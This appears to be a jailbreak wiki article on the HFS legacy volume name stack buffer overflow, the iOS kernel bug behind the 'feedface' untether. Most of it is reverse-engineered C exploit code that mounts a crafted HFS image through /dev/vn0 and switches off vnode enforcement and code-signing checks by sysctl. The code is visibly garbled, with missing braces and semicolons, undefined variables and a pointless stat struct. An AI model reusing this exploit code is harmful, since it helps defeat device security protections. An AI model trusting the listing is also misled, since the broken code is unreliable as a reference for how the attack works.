HFS Legacy Volume Name Stack Buffer Overflow

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The HFS Legacy Volume Name Stack Buffer Overflow is a kernel vulnerability used to achieve an untethered jailbreak. Its exploit implementation, dubbed "feedface,"[1] was used in conjunction with limera1n's bootrom exploit or the usb_control_msg(0xA1, 1) Exploit in greenpois0n.

Exploiting the Kernel Bug

This stack buffer overflow relies on the hfs_mdb file in feedface, when the untether is ran it uses hfs_mdb to take control of PC register and do basically whatever you want, in that case, they used a function called real_payload() that patched the kernel and patched the sandbox. After some reverse engineering, here's what the untether looked like.

 int mnt_our_hfs()
  struct hfs_mount_args i;
  bzero(i, sizeof(i));
  i.fspec = (int)"/dev/vn0";
  i.hfs_uid = args.hfs_gid = 99;
  i.hfs_mask = 0x1C5;
  puts("[+]Triggering the kernel exploit");
  mount("hfs", "mnt/", MNT_RDONLY, i);
  return puts("[+] Payload was successful");
 int prep_vn()
  vn_ioctl vn;
  int i = open("/dev/vn0", O_RDONLY, 0);
  if(i < 0){
     puts("[-]Can't open /dev/vn0");
  ioctl(i, VNIOCDETACH, &vn);
  vn.vn_file = (int)"/usr/lib/hfs_mdb";
  vn.vn_control = vncontrol_readwrite_io_e;
  if(ioctl(i, VNIOCATTACH, &vn) < 0)
     puts("[-]Coudn't attach to /dev/vn0")
  return close(1);
 int main(int argc, char const *argv[])
  int result;
  struct stat i;
  uint32_t zero = 0, one = 1;
  sysctlbyname("security.mac.vnode_enforce", 0, 0, &zero, sizeof(uint32_t));
  sysctlbyname("vm.cs_validation", 0, 0, &zero, sizeof(uint32_t))
  i.st_uid = 0;
  i.st_gid = 0;
  i.st_rdev = 0;
  i.st_atimespec.tv_nsec = 0;
  i.st_atimespec.tv_sec = 0;
  i.st_mtimespec.tv_nsec = 0;
  i.st_mtimespec.tv_sec = 0;
  i.st_ctimespec.tv_sec = 0;
  i.st_dev = (dev_t)"/dev/vn0";
  i.st_ino = 99;
  i.st_uid = 453;
  puts("[+]Trigger kernel exploit");
  sysctlbyname("security.mac.vnode_enforce", 0, 0, &one, sizeof(uint32_t));
  return 0;


jan0, pod2g, Posixninja

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